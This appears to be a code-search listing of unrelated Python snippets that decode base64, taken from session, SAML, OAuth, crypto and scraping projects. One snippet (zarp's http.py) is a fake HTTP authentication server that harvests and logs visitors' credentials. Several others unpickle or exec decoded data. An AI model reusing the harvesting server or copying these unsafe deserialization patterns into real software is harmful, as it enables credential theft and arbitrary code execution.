示例#1
0
 def _decrypt_data(self, session_data):
     """Bas64, decipher, then un-serialize the data for the session
     dict"""
     if self.encrypt_key:
         try:
             nonce = session_data[:8]
             encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
                                              self.validate_key + nonce, 1)
             payload = b64decode(session_data[8:])
             data = crypto.aesDecrypt(payload, encrypt_key)
         except:
             # As much as I hate a bare except, we get some insane errors
             # here that get tossed when crypto fails, so we raise the
             # 'right' exception
             if self.invalidate_corrupt:
                 return None
             else:
                 raise
         try:
             return util.pickle.loads(data)
         except:
             if self.invalidate_corrupt:
                 return None
             else:
                 raise
     else:
         data = b64decode(session_data)
         return util.pickle.loads(data)
	def render_ANNOUNCE(self, request):
		print "[SIFTeam OpenAirPlay] " + str(request)

		self.prepareBaseReply(request)
		
		content = request.content.read()
		for row in content.split("\n"):
			row = row.strip()
			if row[:2] != "a=":
				continue
				
			row = row[2:]
			seppos = row.find(":")
			key = row[:seppos].strip()
			value = row[seppos+1:].strip()
		
			if key == "aesiv" or key == "rsaaeskey":
				if value[-2:] != "==":
					value += "=="
					
			if key == "aesiv":
				self.aesiv = base64.b64decode(value)
			elif key == "rsaaeskey":
				self.rsaaeskey = base64.b64decode(value)
				key = RSA.load_key_string(AIRPORT_PRIVATE_KEY)
				self.rsaaeskey = key.private_decrypt(self.rsaaeskey, RSA.pkcs1_oaep_padding)
			elif key == "fmtp":
				self.fmtp = value
		
		request.write("")
		request.finish()
示例#3
0
    def test_18_test_random(self):
        with self.app.test_request_context('/system/random?len=32',
                                           method="GET",
                                           headers={'Authorization': self.at}):
            res = self.app.full_dispatch_request()
            self.assertTrue(res.status_code == 200, res)
            result = json.loads(res.data).get("result")
            value = result.get("value")
            # hex encoded value
            self.assertEqual(len(value), 64)
            # This is hex, we can unhexlify
            import binascii
            binascii.unhexlify(value)

        with self.app.test_request_context('/system/random?len=32&encode=b64',
                                           method="GET",
                                           headers={'Authorization': self.at}):
            res = self.app.full_dispatch_request()
            self.assertTrue(res.status_code == 200, res)
            result = json.loads(res.data).get("result")
            value = result.get("value")
            # hex encoded value
            self.assertEqual(len(value), 44)
            # This is base64. We can decode
            import base64
            base64.b64decode(value)
示例#4
0
    def _get_subtitles(self, video_id, webpage):
        subtitles = {}
        for sub_id, sub_name in re.findall(r'\?ssid=([0-9]+)" title="([^"]+)', webpage):
            sub_page = self._download_webpage(
                'http://www.crunchyroll.com/xml/?req=RpcApiSubtitle_GetXml&subtitle_script_id=' + sub_id,
                video_id, note='Downloading subtitles for ' + sub_name)
            id = self._search_regex(r'id=\'([0-9]+)', sub_page, 'subtitle_id', fatal=False)
            iv = self._search_regex(r'<iv>([^<]+)', sub_page, 'subtitle_iv', fatal=False)
            data = self._search_regex(r'<data>([^<]+)', sub_page, 'subtitle_data', fatal=False)
            if not id or not iv or not data:
                continue
            id = int(id)
            iv = base64.b64decode(iv)
            data = base64.b64decode(data)

            subtitle = self._decrypt_subtitles(data, iv, id).decode('utf-8')
            lang_code = self._search_regex(r'lang_code=["\']([^"\']+)', subtitle, 'subtitle_lang_code', fatal=False)
            if not lang_code:
                continue
            sub_root = xml.etree.ElementTree.fromstring(subtitle)
            subtitles[lang_code] = [
                {
                    'ext': 'srt',
                    'data': self._convert_subtitles_to_srt(sub_root),
                },
                {
                    'ext': 'ass',
                    'data': self._convert_subtitles_to_ass(sub_root),
                },
            ]
        return subtitles
示例#5
0
    def UnXMLifyResponseRegex(self, xmlinput):

        # Strip the end of the response
        xmlStr = xmlinput.strip()

        # Define response
        returnValue = Response()

        # Reject malformed response - check if <transmission> tags are at start and end
        if not ((xmlStr[:36] == '<?xml version="1.0" ?><transmission>') and (xmlStr[-15:] == "</transmission>")):
            returnValue.error = "Malformed response: " + xmlStr
            return returnValue

        # Parse the XML using regular expressions        
        # Get text inside data and decode
        if ("<data />" not in xmlStr):
            data_regex = re.compile(r'<data>(.*)</data>', re.DOTALL)
            y = data_regex.search(xmlStr)
            for line in y.group(1).split("\n"):
                if line != "":
                    returnValue.data += base64.b64decode(line)

        # Get text inside error and decode
        if ("<error />" not in xmlStr):
            error_regex = re.compile(r'<error>(.*)</error>', re.DOTALL)
            y = error_regex.search(xmlStr)
            for line in y.group(1).split("\n"):
                if line != "":
                    returnValue.error += base64.b64decode(line)

        # Return response
        return returnValue
示例#6
0
文件: wm.py 项目: pombredanne/AREsoft
    def __init__(self, item):
        # Load a specific watermark method from a xml file

        # get class name, method name and method descriptor
        self.__class_name = item.getAttribute("class")
        self.__name = unescape(item.getAttribute("name"))
        self.__descriptor = item.getAttribute("descriptor")

        self.__wms = []

        # get the threshold
        th = int(item.getElementsByTagName("threshold")[0].firstChild.data)

        # load the y
        x = base64.b64decode(item.getElementsByTagName("sss")[0].firstChild.data)
        self.__dwbo = DWBOCheck(cPickle.loads(x), th)

        for s_item in item.getElementsByTagName("wm"):
            _type = str(s_item.getAttribute("type"))

            # load the context of the original watermark
            if WM_BIND[_type][1] == WM_CLASS:
                wb = WM_BIND[_type][0](None, None)
            else:
                wb = WM_BIND[_type][0](None, None, None)

            x = cPickle.loads(base64.b64decode(s_item.firstChild.data))
            wb.set_context(x)

            self.__wms.append((_type, wb))
示例#7
0
文件: tapcore.py 项目: CyDoor/tap
def decryptAES(data):
    
    if os.path.isfile("/root/.tap/store"):

    	    # the character used for padding--with a block cipher such as AES, the value
    	    # you encrypt must be a multiple of BLOCK_SIZE in length.  This character is
    	    # used to ensure that your value is always a multiple of BLOCK_SIZE
            PADDING = '{'
	
	    BLOCK_SIZE = 32
	
	    # one-liner to sufficiently pad the text to be encrypted
	    pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
	
	    # random value here to randomize builds
	    a = 50 * 5
	
	    # one-liners to encrypt/encode and decrypt/decode a string
	    # encrypt with AES, encode with base64
	    DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
	    fileopen = file("/root/.tap/store", "r")
	    key = fileopen.read()
	    secret = base64.b64decode(key)
	    cipher = AES.new(secret)
	    aes = DecodeAES(cipher, data)
	    return str(aes)

    else: return ""
    def testCreateRequestSetNameIDPolicy(self):
        """
        Tests the OneLogin_Saml2_Authn_Request Constructor.
        The creation of a deflated SAML Request with and without NameIDPolicy
        """
        saml_settings = self.loadSettingsJSON()
        settings = OneLogin_Saml2_Settings(saml_settings)
        authn_request = OneLogin_Saml2_Authn_Request(settings)
        authn_request_encoded = authn_request.get_request()
        decoded = b64decode(authn_request_encoded)
        inflated = decompress(decoded, -15)
        self.assertRegexpMatches(inflated, '^<samlp:AuthnRequest')
        self.assertIn('<samlp:NameIDPolicy', inflated)

        authn_request_2 = OneLogin_Saml2_Authn_Request(settings, False, False, True)
        authn_request_encoded_2 = authn_request_2.get_request()
        decoded_2 = b64decode(authn_request_encoded_2)
        inflated_2 = decompress(decoded_2, -15)
        self.assertRegexpMatches(inflated_2, '^<samlp:AuthnRequest')
        self.assertIn('<samlp:NameIDPolicy', inflated_2)

        authn_request_3 = OneLogin_Saml2_Authn_Request(settings, False, False, False)
        authn_request_encoded_3 = authn_request_3.get_request()
        decoded_3 = b64decode(authn_request_encoded_3)
        inflated_3 = decompress(decoded_3, -15)
        self.assertRegexpMatches(inflated_3, '^<samlp:AuthnRequest')
        self.assertNotIn('<samlp:NameIDPolicy', inflated_3)
    def testCreateRequest(self):
        """
        Tests the OneLogin_Saml2_Authn_Request Constructor.
        The creation of a deflated SAML Request
        """

        saml_settings = self.loadSettingsJSON()
        settings = OneLogin_Saml2_Settings(saml_settings)
        settings._OneLogin_Saml2_Settings__organization = {
            u'en-US': {
                u'url': u'http://sp.example.com',
                u'name': u'sp_test'
            }
        }

        authn_request = OneLogin_Saml2_Authn_Request(settings)
        authn_request_encoded = authn_request.get_request()
        decoded = b64decode(authn_request_encoded)
        inflated = decompress(decoded, -15)
        self.assertRegexpMatches(inflated, '^<samlp:AuthnRequest')
        self.assertNotIn('ProviderName="SP test"', inflated)

        saml_settings['organization'] = {}
        settings = OneLogin_Saml2_Settings(saml_settings)

        authn_request = OneLogin_Saml2_Authn_Request(settings)
        authn_request_encoded = authn_request.get_request()
        decoded = b64decode(authn_request_encoded)
        inflated = decompress(decoded, -15)
        self.assertRegexpMatches(inflated, '^<samlp:AuthnRequest')
        self.assertNotIn('ProviderName="SP test"', inflated)
示例#10
0
    def parse_signed_request(self, signed_request):
        '''
        parse signed request when using in-site app.

        Returns:
            dict object like { 'uid': 12345, 'access_token': 'ABC123XYZ', 'expires': unix-timestamp },
            or None if parse failed.
        '''

        def _b64_normalize(s):
            appendix = '=' * (4 - len(s) % 4)
            return s.replace('-', '+').replace('_', '/') + appendix

        sr = str(signed_request)
        logging.info('parse signed request: %s' % sr)
        enc_sig, enc_payload = sr.split('.', 1)
        sig = base64.b64decode(_b64_normalize(enc_sig))
        data = _parse_json(base64.b64decode(_b64_normalize(enc_payload)))
        if data['algorithm'] != u'HMAC-SHA256':
            return None
        expected_sig = hmac.new(self.client_secret, enc_payload, hashlib.sha256).digest();
        if expected_sig==sig:
            data.user_id = data.uid = data.get('user_id', None)
            data.access_token = data.get('oauth_token', None)
            expires = data.get('expires', None)
            if expires:
                data.expires = data.expires_in = time.time() + expires
            return data
        return None
示例#11
0
    def testCreateRequestAuthContextComparision(self):
        """
        Tests the OneLogin_Saml2_Authn_Request Constructor.
        The creation of a deflated SAML Request with defined AuthnContextComparison
        """
        saml_settings = self.loadSettingsJSON()
        settings = OneLogin_Saml2_Settings(saml_settings)
        authn_request = OneLogin_Saml2_Authn_Request(settings)
        authn_request_encoded = authn_request.get_request()
        decoded = b64decode(authn_request_encoded)
        inflated = decompress(decoded, -15)
        self.assertRegexpMatches(inflated, '^<samlp:AuthnRequest')
        self.assertIn(OneLogin_Saml2_Constants.AC_PASSWORD, inflated)
        self.assertNotIn(OneLogin_Saml2_Constants.AC_X509, inflated)

        saml_settings['security']['requestedAuthnContext'] = True
        settings = OneLogin_Saml2_Settings(saml_settings)
        authn_request = OneLogin_Saml2_Authn_Request(settings)
        authn_request_encoded = authn_request.get_request()
        decoded = b64decode(authn_request_encoded)
        inflated = decompress(decoded, -15)
        self.assertRegexpMatches(inflated, '^<samlp:AuthnRequest')
        self.assertIn('RequestedAuthnContext Comparison="exact"', inflated)

        saml_settings['security']['requestedAuthnContextComparison'] = 'minimun'
        settings = OneLogin_Saml2_Settings(saml_settings)
        authn_request = OneLogin_Saml2_Authn_Request(settings)
        authn_request_encoded = authn_request.get_request()
        decoded = b64decode(authn_request_encoded)
        inflated = decompress(decoded, -15)
        self.assertRegexpMatches(inflated, '^<samlp:AuthnRequest')
        self.assertIn('RequestedAuthnContext Comparison="minimun"', inflated)
示例#12
0
    def _unshorten_adfly(self, uri):

        try:
            r = requests.get(uri, headers=self._headers, timeout=self._timeout)
            html = r.text
            ysmm = re.findall(r"var ysmm =.*\;?", html)

            if len(ysmm) > 0:
                ysmm = re.sub(r"var ysmm \= \'|\'\;", "", ysmm[0])

                left = ""
                right = ""

                for c in [ysmm[i : i + 2] for i in range(0, len(ysmm), 2)]:
                    left += c[0]
                    right = c[1] + right

                decoded_uri = b64decode(left.encode() + right.encode())[2:].decode()

                if re.search(r"go\.php\?u\=", decoded_uri):
                    decoded_uri = b64decode(re.sub(r"(.*?)u=", "", decoded_uri)).decode()

                return decoded_uri, r.status_code
            else:
                return uri, "No ysmm variable found"

        except Exception as e:
            return uri, str(e)
示例#13
0
文件: http.py 项目: fabaff/zarp
	def do_GET(self):
		try:
			# go away
			if self.path == '/favicon.ico':
				return
			# serve user-specified page	 
			if not self.context['root'] is None and util.does_file_exist(self.context['root']):
				self.send_headers()
				fle = open(self.context['root'], 'rb')
				self.wfile.write(fle.read())
				fle.close()
				return

			# else serve up the authentication page to collect credentials	
			auth_header = self.headers.getheader('Authorization')
			if auth_header is None:
				self.send_auth_headers()
			elif auth_header.split(' ')[1] == base64.b64encode('ballast:security'):
				self.send_headers()
				self.wfile.write('Authenticated :)')
			elif not auth_header is None:
				if self.context['log_data']:
					self.context['log_file'].write(base64.b64decode(auth_header.split(' ')[1]) + '\n')
				if self.context['dump']:
					util.Msg('Collected: %s'%base64.b64decode(auth_header.split(' ')[1]))
				self.send_auth_headers()
			else:
				self.send_auth_headers()
		except Exception, j:
			if j.errono == 32:
				# connection closed prematurely
				return
			util.Error('Error: %s'%j)	
			return
示例#14
0
 def decrypt( self, enc, iv ):
     import base64
     from Crypto.Cipher import AES
     enc = base64.b64decode(enc)
     iv = base64.b64decode(iv)
     cipher = AES.new(self.key, AES.MODE_CBC, iv )
     return self.unpad(cipher.decrypt( enc )).decode("UTF-8")
def basicauth_decode(encoded_str):
    """Decode an encrypted HTTP basic authentication string. Returns a tuple of
    the form (username, password), and raises a DecodeError exception if
    nothing could be decoded.
    """
    split = encoded_str.strip().split(' ')

    # If split is only one element, try to decode the username and password
    # directly.
    if len(split) == 1:
        try:
            username, password = b64decode(split[0]).split(':', 1)
        except:
            raise DecodeError

    # If there are only two elements, check the first and ensure it says
    # 'basic' so that we know we're about to decode the right thing. If not,
    # bail out.
    elif len(split) == 2:
        if split[0].strip().lower() == 'basic':
            try:
                username, password = b64decode(split[1]).split(':', 1)
            except:
                raise DecodeError
        else:
            raise DecodeError

    # If there are more than 2 elements, something crazy must be happening.
    # Bail.
    else:
        raise DecodeError

    return unquote(username), unquote(password)
示例#16
0
    def parse_signed_request(self, signed_request):
        """
        parse signed request when using in-site app.

        Returns:
            dict object like { 'uid': 12345, 'access_token': 'ABC123XYZ', 'expires': unix-timestamp },
            or None if parse failed.
        """

        def _b64_normalize(s):
            appendix = "=" * (4 - len(s) % 4)
            return s.replace("-", "+").replace("_", "/") + appendix

        sr = str(signed_request)
        logging.info("parse signed request: %s" % sr)
        enc_sig, enc_payload = sr.split(".", 1)
        sig = base64.b64decode(_b64_normalize(enc_sig))
        data = _parse_json(base64.b64decode(_b64_normalize(enc_payload)))
        if data["algorithm"] != u"HMAC-SHA256":
            return None
        expected_sig = hmac.new(self.client_secret, enc_payload, hashlib.sha256).digest()
        if expected_sig == sig:
            data.user_id = data.uid = data.get("user_id", None)
            data.access_token = data.get("oauth_token", None)
            expires = data.get("expires", None)
            if expires:
                data.expires = data.expires_in = time.time() + expires
            return data
        return None
示例#17
0
    def test_listing(self):
        self.factory.xfer = ChartsAccountListing()
        self.call(
            "/diacamma.accounting/chartsAccountListing",
            {"year": "1", "type_of_account": "-1", "PRINT_MODE": "4", "MODEL": 6},
            False,
        )
        self.assert_observer("core.print", "diacamma.accounting", "chartsAccountListing")
        csv_value = b64decode(six.text_type(self.get_first_xpath("PRINT").text)).decode("utf-8")
        content_csv = csv_value.split("\n")
        self.assertEqual(len(content_csv), 22, str(content_csv))
        self.assertEqual(content_csv[1].strip(), '"Liste de plan comptable"')
        self.assertEqual(
            content_csv[3].strip(), '"code";"nom";"total de l\'exercice précédent";"total exercice";"total validé";'
        )
        self.assertEqual(
            content_csv[4].strip(), '"106";"106";"Crédit: 1250.38€";"Crédit: 1250.38€";"Crédit: 1250.38€";'
        )
        self.assertEqual(content_csv[9].strip(), '"512";"512";"Débit: 1135.93€";"Débit: 1130.29€";"Débit: 1130.29€";')
        self.assertEqual(content_csv[10].strip(), '"531";"531";"Débit: 114.45€";"Crédit: 79.63€";"Débit: 114.45€";')

        self.factory.xfer = ChartsAccountListing()
        self.call(
            "/diacamma.accounting/chartsAccountListing",
            {"year": "1", "type_of_account": "4", "PRINT_MODE": "4", "MODEL": 6},
            False,
        )
        self.assert_observer("core.print", "diacamma.accounting", "chartsAccountListing")
        csv_value = b64decode(six.text_type(self.get_first_xpath("PRINT").text)).decode("utf-8")
        content_csv = csv_value.split("\n")
        self.assertEqual(len(content_csv), 12, str(content_csv))
示例#18
0
 def parse_links(self):
     for link in self.audited_links:
         req = self.scraper.get(link)
         tree = html.fromstring(req.text)
         b64_sources = tree.xpath('//option[@value]')
         found = False
         for source in b64_sources:
             if source.text == '1080p':
                 print('1080p')
                 found = True
                 self.decoded_links.append(
                     base64.b64decode(source.items()[0][1]))
             elif source.text == '720p' and not found:
                 print('720p')
                 found = True
                 self.decoded_links.append(
                     base64.b64decode(source.items()[0][1]))
             elif source.text == '480p' and not found:
                 print('480p')
                 found = True
                 self.decoded_links.append(
                     base64.b64decode(source.items()[0][1]))
             elif source.text == '360p' and not found:
                 print('360p')
                 self.decoded_links.append(
                     base64.b64decode(source.items()[0][1]))
     self.download_links()
示例#19
0
def test_TxCommit(sometx):
    (factory, instance, tr), (k1, k2, tx1, tx2, tx3) = sometx

    # Check the list is up to date
    for ik in tx3.get_utxo_in_keys():
        assert ik in factory.db

    #data1 = map(b64encode, [tx3.serialize(), tx1.serialize(), tx2.serialize(), 
    #            k1.export()[0], k2.export()[0], k1.sign(tx3.id()), k2.sign(tx3.id())])

    #H = sha256(" ".join(data1)).digest()

    #data = " ".join(["Query", str(len(data1))] + data1)
    H, data, dataCore = package_query(tx3, [tx1, tx2], [k1, k2])

    instance.lineReceived(data)
    response = tr.value()
    
    k, s = map(b64decode, response.split(" ")[1:])
    k2 = rscoin.Key(k)
    assert factory.key.verify(H, s)
    assert k2.verify(H, s)

    ## Now we test the Commit
    tr.clear()
    # data = " ".join(["Commit", str(len(dataCore))] + dataCore + map(b64encode, [k, s]))

    data = package_commit(dataCore, [(k, s)])
    instance.lineReceived(data)
    
    flag, pub, sig = tr.value().split(" ")
    assert factory.key.verify(tx3.id(), b64decode(sig))

    k3 = rscoin.Key(b64decode(pub))
    assert k3.verify(tx3.id(), b64decode(sig))
示例#20
0
def parse_proxies_2():
    AGENT= 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36'
    #headers
    HEADERS = {'User-Agent':AGENT}
    HEADERS['Referer'] = 'https://proxy.peuland.com/proxy_list_by_category.htm'
    HEADERS['Cookie'] = 'php_id=493316247; CNZZDATA1253154494=1665531259-1479808141-%7C1479808141;peuland_md5=9b941affd9b676f62ab93081f6cc9a1b; w_h=1200; w_w=1920; w_cd=24; w_a_h=1147; w_a_w=1920;peuland_id=649e2152bad01e29298950671635e44a;'
    proxies = []
    s = requests.Session()
    i=max_page = 1
    while (i<=max_page):
        r = s.post(PROXY_POOL_URL_2, headers=HEADERS, data = {"country_code":"cn", "search_type":"all","page":str(i)})
        txt = re.sub(r'^[^{]*', '', r.text)
        # servers_json = r.json()['data']
        json_obj = json.loads(txt)
        servers_json = json_obj['data']
        for server in servers_json:
            rate = int(base64.b64decode(server['time_downloadspeed']))
            if rate <=7 :
                continue
            proxy = Proxy(\
                        "%s:%s"%(base64.b64decode(server['ip']).decode(), \
                                base64.b64decode(server['port']).decode()),\
                                rate)
            proxies.append(proxy) 
        # max_page = int(r.json()['pagination']['maxpage'])
        max_page = int(json_obj['pagination']['maxpage'])
        i+=1
    if proxies:
        return sorted(proxies,key=lambda x : x.speed, reverse=True)
示例#21
0
    def create_run(data, files=None):
        language = data['language']
        test_type = data['test_type']
        extra_options = data.get('extra_options', None)

        run = None

        if data['file_type'] == 'plain':
            run = TestWithPlainText(status='pending',
                                    language=language,
                                    test_type=test_type,
                                    solution_code=data['code'],
                                    test_code=data['test'],
                                    extra_options=extra_options)

        if data['file_type'] == 'binary':
            solution = base64.b64decode(data['code'])
            solution = ContentFile(content=solution,
                                   name=str(uuid.uuid4()))

            tests = base64.b64decode(data['test'])
            tests = ContentFile(content=tests,
                                name=str(uuid.uuid4()))

            run = TestWithBinaryFile(status='pending',
                                     language=language,
                                     test_type=test_type,
                                     solution=solution,
                                     tests=tests,
                                     extra_options=extra_options)

        return run
示例#22
0
 def run_taskqueue(cls):
     """ Have not been able to get taskqueues to work yet
     
         http://stackoverflow.com/questions/6632809/gae-unit-testing-taskqueue-with-testbed
     """
     return
     taskq = cls.testbed.get_stub(testbed.TASKQUEUE_SERVICE_NAME)
     for q in taskq.GetQueues():
         logging.warning("running tasks for %s" % q["name"])
         tasks = taskq.GetTasks(q["name"])
         taskq.FlushQueue(q["name"])
         while tasks:
             for task in tasks:
                 logging.warning("executing: %s" % task["url"])
                 params = base64.b64decode(task["body"])
                 logging.warning(params)
                 if task["url"]:
                     # normal taskque as post executed here
                     response = cls.app.post(task["url"], params)
                 else:
                     # when defer.deferred is called with a function it needs to be done like this
                     try:
                         (func, args, opts) = pickle.loads(base64.b64decode(task["body"]))
                         func(*args)
                     except Exception, e:
                         logging.exception(e)
                         logging.warning(task)
             tasks = taskq.GetTasks(q["name"])
             taskq.FlushQueue(q["name"])
示例#23
0
文件: tests.py 项目: cstavr/synnefo
    def test_generate_views(self):
        import base64

        # just test that
        resp = self.client.post(self.keys_url + "/generate")
        self.assertNotEqual(resp, "")

        data = json.loads(resp.content)
        self.assertEqual(data.has_key('private'), True)
        self.assertEqual(data.has_key('private'), True)

        # public key is base64 encoded
        base64.b64decode(data['public'].replace("ssh-rsa ",""))

        # remove header/footer
        private = "".join(data['private'].split("\n")[1:-1])

        # private key is base64 encoded
        base64.b64decode(private)

        new_key = PublicKeyPair()
        new_key.content = data['public']
        new_key.name = "new key"
        new_key.user = '******'
        new_key.full_clean()
        new_key.save()
示例#24
0
文件: shell.py 项目: pt15/solum
    def _get_private_key(self, source_creds, source_url):
        source_private_key = ''
        if source_creds:
            cfg.CONF.import_opt('system_param_store',
                                'solum.api.handlers.plan_handler',
                                group='api')
            store = cfg.CONF.api.system_param_store

            if store == 'database':
                deploy_keys_str = base64.b64decode(source_creds)
            elif store == 'barbican':
                client = clients.OpenStackClients(None).barbican().admin_client
                secret = client.secrets.get(secret_ref=source_creds)
                deploy_keys_str = secret.payload
            elif store == 'local_file':
                cfg.CONF.import_opt('system_param_file',
                                    'solum.api.handlers.plan_handler',
                                    group='api')
                secrets_file = cfg.CONF.api.system_param_file
                s = shelve.open(secrets_file)
                deploy_keys_str = s[str(source_creds)]
                deploy_keys_str = base64.b64decode(deploy_keys_str)
                s.close()
            deploy_keys = ast.literal_eval(deploy_keys_str)
            for dk in deploy_keys:
                if source_url == dk['source_url']:
                    source_private_key = dk['private_key']
        return source_private_key
示例#25
0
def store(request):
    key = request.POST.get('key')
    if key != conf.KEY:
        return HttpResponseForbidden('Invalid credentials')

    format = request.POST.get('format', 'pickle')
    if format not in ('pickle', 'json'):
        return HttpResponseForbidden('Invalid format')
    
    data = request.POST.get('data')
    if not data:
        return HttpResponseForbidden('Missing data')

    logger = logging.getLogger('sentry.server')

    try:
        try:
            data = base64.b64decode(data).decode('zlib')
        except zlib.error:
            data = base64.b64decode(data)
    except Exception, e:
        # This error should be caught as it suggests that there's a
        # bug somewhere in the Sentry code.
        logger.exception('Bad data received')
        return HttpResponseForbidden('Bad data')
示例#26
0
def getDNSToken(hostname):
	try:
		_register(hostname)
		_getChallenges(hostname)
		info = _recallHost(hostname)
		key = serialization.load_pem_private_key(base64.b64decode(info['acct_privkey']),password=None, backend=default_backend())
		client = acme.client.Client(CA,jose.JWKRSA(key=jose.ComparableRSAKey(key)))
		regr = acme.messages.RegistrationResource.json_loads(info['reg_json'])
		authz = json.loads(info['authz_json'])
		answer={}
		for i in range(len(authz)):
			for j in range(len(authz[i]['body']['challenges'])):
				if authz[i]['body']['challenges'][j]['type'] == "dns-01":
					answer=authz[i]['body']['challenges'][j]
					jwk=jose.jwk.JWK.load(base64.b64decode(info['acct_privkey']),password=None, backend=default_backend())
					h = hmac.HMAC(key.private_bytes(encoding=serialization.Encoding.DER, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption()), hashes.SHA256(), backend=default_backend())
					h.update(str(answer['token'] + '.' + _b64(jwk.thumbprint())))
					keyAuthorization = _b64(h.finalize())
					return keyAuthorization


		
		return {'Error':'No DNS-01 challenge received'}
	except Exception, e:
		exc_type, exc_obj, exc_tb = sys.exc_info()
		fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
		print(exc_type, fname, exc_tb.tb_lineno)
		return {'Error':e.message}
示例#27
0
def submit_domain_validation(hostname):
	# try:
	_register(hostname)
	_getChallenges(hostname)
	info = _recallHost(hostname)
	key = serialization.load_pem_private_key(base64.b64decode(info['acct_privkey']),password=None, backend=default_backend())
	client = acme.client.Client(CA,jose.JWKRSA(key=jose.ComparableRSAKey(key)))
	regr = acme.messages.RegistrationResource.json_loads(info['reg_json'])
	authz = json.loads(info['authz_json'])
	answer={}
	for i in range(len(authz)):
		for j in range(len(authz[i]['body']['challenges'])):
			if authz[i]['body']['challenges'][j]['type'] == "dns-01":
				answer=authz[i]['body']['challenges'][j]
				jwk=jose.jwk.JWK.load(base64.b64decode(info['acct_privkey']),password=None, backend=default_backend())
				h = hmac.HMAC(key.private_bytes(encoding=serialization.Encoding.DER, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption()), hashes.SHA256(), backend=default_backend())
				h.update(str(answer['token'] + '.' + _b64(jwk.thumbprint())))
				keyAuthorization = _b64(h.finalize())
				payload={"keyAuthorization":keyAuthorization}
				code, resp=_send_signed_request(answer['uri'], payload, hostname)
				print 'here'
				print jws

	
	return {'Error':'No DNS-01 challenge received'}
示例#28
0
def decrypt(payload):
    data = json.loads(base64.b64decode(payload))

    value =  base64.b64decode(data['value'])
    iv = base64.b64decode(data['iv'])

    return unserialize(mcrypt_decrypt(value, iv))
示例#29
0
文件: oauth.py 项目: nachovz/Rockolin
    def get_authenticated_user(self, callback):
        """Gets the OAuth authorized user and access token on callback.

        This method should be called from the handler for your registered
        OAuth Callback URL to complete the registration process. We call
        callback with the authenticated user, which in addition to standard
        attributes like 'name' includes the 'access_key' attribute, which
        contains the OAuth access you can use to make authorized requests
        to this service on behalf of the user.

        :param callback:
        :returns:
        """
        request_key = self.request.args.get('oauth_token')
        oauth_verifier = self.request.args.get('oauth_verifier', None)
        request_cookie = self.request.cookies.get('_oauth_request_token')

        if request_cookie:
            parts = request_cookie.split('|')
            if len(parts) == 2:
                try:
                    cookie_key = base64.b64decode(parts[0])
                    cookie_secret = base64.b64decode(parts[1])
                except TypeError, e:
                    # TypeError: Incorrect padding
                    logging.exception(e)
                    request_cookie = None
            else:
                request_cookie = None
    def post(self):
        ___job = RemoteDriverJob.get_by_id(int(self.request.get("id")))
        if not ___job:
            self.response.set_status(404)
            return
        if ___job.started_at:
            if ___job.retries > 0:
                self.response.set_status(403)
            elif (
                self.request.headers["X-AppEngine-TaskRetryCount"]
                and int(self.request.headers["X-AppEngine-TaskRetryCount"]) > 0
            ):
                ___job.retries = int(self.request.headers["X-AppEngine-TaskRetryCount"])
                ___job.put()
                self.response.set_status(403)
            else:
                self.response.set_status(304)
            return

        exec(base64.b64decode(___job.definitions), globals())
        globals().update(pickle.loads(base64.b64decode(___job.context)))

        ___job.started_at = datetime.datetime.now()
        ___job.put()

        ___result = eval(base64.b64decode(___job.eval_line), globals())
        ___job.result = base64.b64encode(pickle.dumps(___result))
        ___job.finished_at = datetime.datetime.now()
        ___job.put()
        self.response.set_status(200)
示例#31
0
 def testUUID4(self):
     """ WebSocket key should be a UUID4.
     """
     key = ws._create_sec_websocket_key()
     u = uuid.UUID(bytes=base64.b64decode(key))
     self.assertEquals(4, u.version)
示例#32
0
    def binary_content(cls, xmlid=None, model='ir.attachment', id=None, field='datas', unique=False, filename=None, filename_field='datas_fname', download=False, mimetype=None, default_mimetype='application/octet-stream', env=None):
        """ Get file, attachment or downloadable content

        If the ``xmlid`` and ``id`` parameter is omitted, fetches the default value for the
        binary field (via ``default_get``), otherwise fetches the field for
        that precise record.

        :param str xmlid: xmlid of the record
        :param str model: name of the model to fetch the binary from
        :param int id: id of the record from which to fetch the binary
        :param str field: binary field
        :param bool unique: add a max-age for the cache control
        :param str filename: choose a filename
        :param str filename_field: if not create an filename with model-id-field
        :param bool download: apply headers to download the file
        :param str mimetype: mintype of the field (for headers)
        :param str default_mimetype: default mintype if no mintype found
        :param Environment env: by default use request.env
        :returns: (status, headers, content)
        """
        env = env or request.env
        # get object and content
        obj = None
        if xmlid:
            obj = env.ref(xmlid, False)
        elif id and model in env.registry:
            obj = env[model].browse(int(id))

        # obj exists
        if not obj or not obj.exists() or field not in obj:
            return (404, [], None)

        # check read access
        try:
            last_update = obj['__last_update']
        except AccessError:
            return (403, [], None)

        status, headers, content = None, [], None

        # attachment by url check
        module_resource_path = None
        if model == 'ir.attachment' and obj.type == 'url' and obj.url:
            url_match = re.match("^/(\w+)/(.+)$", obj.url)
            if url_match:
                module = url_match.group(1)
                module_path = get_module_path(module)
                module_resource_path = get_resource_path(module, url_match.group(2))
                if module_path and module_resource_path:
                    module_path = os.path.join(os.path.normpath(module_path), '')  # join ensures the path ends with '/'
                    module_resource_path = os.path.normpath(module_resource_path)
                    if module_resource_path.startswith(module_path):
                        with open(module_resource_path, 'r') as f:
                            content = base64.b64encode(f.read())
                        last_update = str(os.path.getmtime(module_resource_path))

            if not module_resource_path:
                module_resource_path = obj.url

            if not content:
                status = 301
                content = module_resource_path
        else:
            content = obj[field] or ''

        # filename
        if not filename:
            if filename_field in obj:
                filename = obj[filename_field]
            elif module_resource_path:
                filename = os.path.basename(module_resource_path)
            else:
                filename = "%s-%s-%s" % (obj._name, obj.id, field)

        # mimetype
        mimetype = 'mimetype' in obj and obj.mimetype or False
        if not mimetype:
            if filename:
                mimetype = mimetypes.guess_type(filename)[0]
            if not mimetype and getattr(env[model]._fields[field], 'attachment', False):
                # for binary fields, fetch the ir_attachement for mimetype check
                attach_mimetype = env['ir.attachment'].search_read(domain=[('res_model', '=', model), ('res_id', '=', id), ('res_field', '=', field)], fields=['mimetype'], limit=1)
                mimetype = attach_mimetype and attach_mimetype[0]['mimetype']
